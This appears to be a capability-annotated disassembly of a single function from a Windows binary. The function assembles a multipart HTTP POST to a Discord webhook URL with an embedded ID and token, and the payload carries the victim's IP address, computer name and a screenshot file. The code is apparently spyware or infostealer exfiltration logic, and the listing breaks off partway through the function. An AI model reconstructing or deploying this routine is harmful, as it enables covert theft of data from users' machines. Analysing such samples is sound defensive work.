Function at 0x140001eb0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x498]
sub rsp, 0x558
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rbp + 0x420], rax
mov qword [rbp + 0x120], r9
mov qword [rbp + 0x100], r8
mov qword [rbp - 0x20], rdx
mov qword [rbp], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Discord_Webhook
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
mov qword [rbp + 0xf0], rax
test rax, rax
jne 0x140001f64
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpenA_failed._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005780
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140005960]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003a8e
mov r8d, 0x1bb
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.discord.com
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x48], rax
test rax, rax
jne 0x140001fe0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetConnectA_failed._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005780
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140005960]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140003a8e
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x1d8], rbx
mov r8d, 0x58
lea rdx, str.1297320405610139719_z_VQ8misPfXLZ8CETW3dJ26_omBeZgULO_WL9f0V8uka_KIIim_qSKYLnjUmROM39HDk
lea rcx, [rbp + 0x1c0]
call fcn.140005ab0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], rbx
mov r8d, 0x25
lea rdx, str.____WebKitFormBoundary7MA4YWxkTrZu0gW
lea rcx, [rbp + 0x140]
call fcn.140005ab0
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rsi, qword [rbp + 0x150]
sub rax, rsi
cmp rax, 2
jb 0x140003aeb
lea r15, [rbp + 0x140]
mov r12, qword [rbp + 0x140]
mov r13, qword [rbp + 0x158]
cmp r13, 0xf
cmova r15, r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea r14, [rsi + 2]
mov ebx, 0xf
lea rdi, [rbp - 0x80]
movabs rax, 0x8000000000000000
mov edx, 0x16
cmp r14, rbx
jbe 0x14000211f
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400020e0
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140006658
test rax, rax
je 0x14000210c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000211b
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400020f4
xor edi, edi
jmp 0x14000211b
cmp rcx, 0x1000
jb 0x140002113
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003ac7
jmp 0x1400020c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006658
mov rdi, rax
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], rbx
mov word [rdi], 0x2d2d
lea rcx, [rdi + 2]
mov r8, rsi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 2
lea rdx, [0x140008aac]
lea rcx, [rbp - 0x80]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 0x37
lea rdx, str.Content_Disposition:_form_data__name_payload_json__r_n_r_n
lea rcx, [rsp + 0x40]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 0x16
lea rdx, str._content_:__User_IP:
lea rcx, [rsp + 0x60]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp]
lea rcx, [rbp - 0x60]
call fcn.140004f90
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 0x11
lea rdx, str._nComputer_Name:
lea rcx, [rbp - 0x40]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp + 0x28]
call fcn.140004f90
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 4
lea rdx, str.__r_n
lea rcx, [rbp + 8]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 2
lea rdx, [0x140008ab0]
lea rcx, [rbp + 0xd0]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [rbp + 0x140]
cmp r13, 0xf
cmova rdx, r12
mov r8, rsi
lea rcx, [rbp + 0xb0]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 2
lea rdx, [0x140008aac]
lea rcx, [rbp + 0x90]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 0x48
lea rdx, str.Content_Disposition:_form_data__name_file___filename_screenshot.bmp__r_n
lea rcx, [rbp + 0x70]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 0x1b
lea rdx, str.Content_Type:_image_bmp_r_n_r_n
lea rcx, [rbp + 0x50]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x1400024d4
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400024cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqa xmm6, xmmword [0x140008dd0]
movdqu xmmword [rbp + 0x60], xmm6
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140002526
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002521
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002521
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp + 0x80], xmm6
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140002576
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002571
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002571
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp + 0xa0], xmm6
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1400025c9
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp + 0xc0], xmm6
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x14000261c
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002617
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002617
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp + 0xe0], xmm6
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140002669
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002664
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002664
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp + 0x18], xmm6
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x1400026b0
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp + 0x38], xmm6
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400026f7
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp - 0x30], xmm6
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000273e
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002739
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002739
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp - 0x50], xmm6
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140002787
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002782
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002782
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400027d2
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000281b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002816
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002816
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp - 0x70], xmm6
mov byte [rbp - 0x80], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x310]
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbp + 0x100]
lea rcx, [rbp + 0x310]
call fcn.140004030
nop
mov qword [rbp - 0x20], rbx
mov word [rbp - 0x18], 1
mov rax, qword [rbp + 0x310]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx + 0x358]
mov qword [rbp + 0x100], rcx
test rcx, rcx
sete byte [rbp + 0x108]
mov byte [rbp + 0x109], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], rbx
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x100], xmm0
movaps xmm7, xmmword [rbp - 0x20]
test rcx, rcx
je 0x1400028f2
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400028d8
mov byte [rbp + 0x109], al
mov rax, qword [rbp + 0x100]
mov byte [rbp + 0x108], 1
movaps xmm0, xmmword [rbp + 0x100]
jmp 0x1400028f7
mov rax, rbx
mov qword [rbp + 0x100], rbx
mov byte [rbp + 0x108], 1
movaps xmm0, xmmword [rbp + 0x100]
jmp 0x1400028f7
movq rax, xmm0
test rax, rax
movq rax, xmm7
jne 0x1400029ce
test rax, rax
je 0x1400029d7
movdqa xmmword [rbp + 0x100], xmm7
movdqa xmmword [rbp - 0x20], xmm0
lea r8, [rbp + 0x100]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x180]
call fcn.140005ed0
mov rcx, qword [rbp + 0x198]
mov rsi, qword [rbp + 0x190]
movabs r13, 0x7fffffffffffffff
mov rax, r13
sub rax, rsi
cmp rax, 2
jb 0x140003af1
lea r15, [rbp + 0x180]
cmp rcx, 0xf
cmova r15, qword [rbp + 0x180]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
lea r14, [rsi + 2]
mov ebx, 0xf
lea rdi, [rbp - 0x60]
cmp r14, rbx
jbe 0x140002a36
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
jbe 0x1400029f8
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140006658
test rax, rax
je 0x140002c67
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002a32
test rax, rax
je 0x14000290e
mov rsi, rbx
mov qword [rbp + 0x190], rbx
mov ecx, 0xf
mov qword [rbp + 0x198], rcx
mov byte [rbp + 0x180], bl
jmp 0x140002940
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002a12
xor edi, edi
jmp 0x140002a32
cmp rcx, 0x1000
jb 0x140002a2a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003acd
jmp 0x1400029af
call fcn.140006658
mov rdi, rax
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rsi], 0xa0d
mov byte [rdi + r14], 0
mov r8d, 2
lea rdx, [0x140008ab0]
lea rcx, [rbp - 0x60]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
xor r12d, r12d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rdx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rdx, qword [rbp + 0x140]
mov r8, qword [rbp + 0x150]
lea rcx, [rsp + 0x60]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov r8d, 4
lea rdx, str.___r_n
lea rcx, [rsp + 0x40]
call fcn.1400053a0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rdx, [rbp - 0x40]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x1a0]
call fcn.1400053a0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140002b9f
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140002bdf
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140002c2a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140002c73
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
mov rax, r13
mov r14, qword [rbp + 0x1d0]
sub rax, r14
cmp rax, 0xe
jb 0x140003af7
lea r15, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0xf
cmova r15, qword [rbp + 0x1c0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rsi, [r14 + 0xe]
mov ebx, 0xf
lea rdi, [rbp - 0x20]
cmp rsi, rbx
jbe 0x140002d3d
mov rbx, rsi
or rbx, 0xf
cmp rbx, r13
jbe 0x140002cfe
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140006658
test rax, rax
je 0x140002de7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002d39
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002d19
mov rdi, r12
jmp 0x140002d39
cmp rcx, 0x1000
jb 0x140002d31
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003ad3
jmp 0x140002cdf
call fcn.140006658
mov rdi, rax
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rbx
movsd xmm0, qword [str._api_webhooks_]
movsd qword [rdi], xmm0
mov ecx, dword [0x140008b38]
mov dword [rdi + 8], ecx
movzx eax, word [0x140008b3c]
mov word [rdi + 0xc], ax
lea rcx, [rdi + 0xe]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea r8, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova r8, qword [rbp - 0x20]
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], 0x4800000
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea rdx, str.POST
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp], rax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140002df3
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002dee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002dee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp - 0x10], xmm6
mov byte [rbp - 0x20], 0
mov rax, r13
mov rdi, qword [rbp + 0x150]
sub rax, rdi
cmp rax, 0x2c
jb 0x140003afd
lea r15, [rbp + 0x140]
mov r13, qword [rbp + 0x140]
mov r12, qword [rbp + 0x158]
cmp r12, 0xf
cmova r15, r13
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea r14, [rdi + 0x2c]
mov esi, 0xf
lea rbx, [rbp - 0x80]
cmp r14, rsi
jbe 0x140002ed9
mov rsi, r14
or rsi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
jbe 0x140002e9b
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140006658
test rax, rax
je 0x140002f79
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002ed5
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x140002eb5
xor ebx, ebx
jmp 0x140002ed5
cmp rcx, 0x1000
jb 0x140002ecd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003ad9
jmp 0x140002e7c
call fcn.140006658
mov rbx, rax
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], rsi
movups xmm0, xmmword [str.Content_Type:_multipart_form_data__boundary]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x140008b58]
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [0x140008b68]
movsd qword [rbx + 0x20], xmm0
mov eax, dword [0x140008b70]
mov dword [rbx + 0x28], eax
lea rcx, [rbx + 0x2c]
mov r8, rdi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
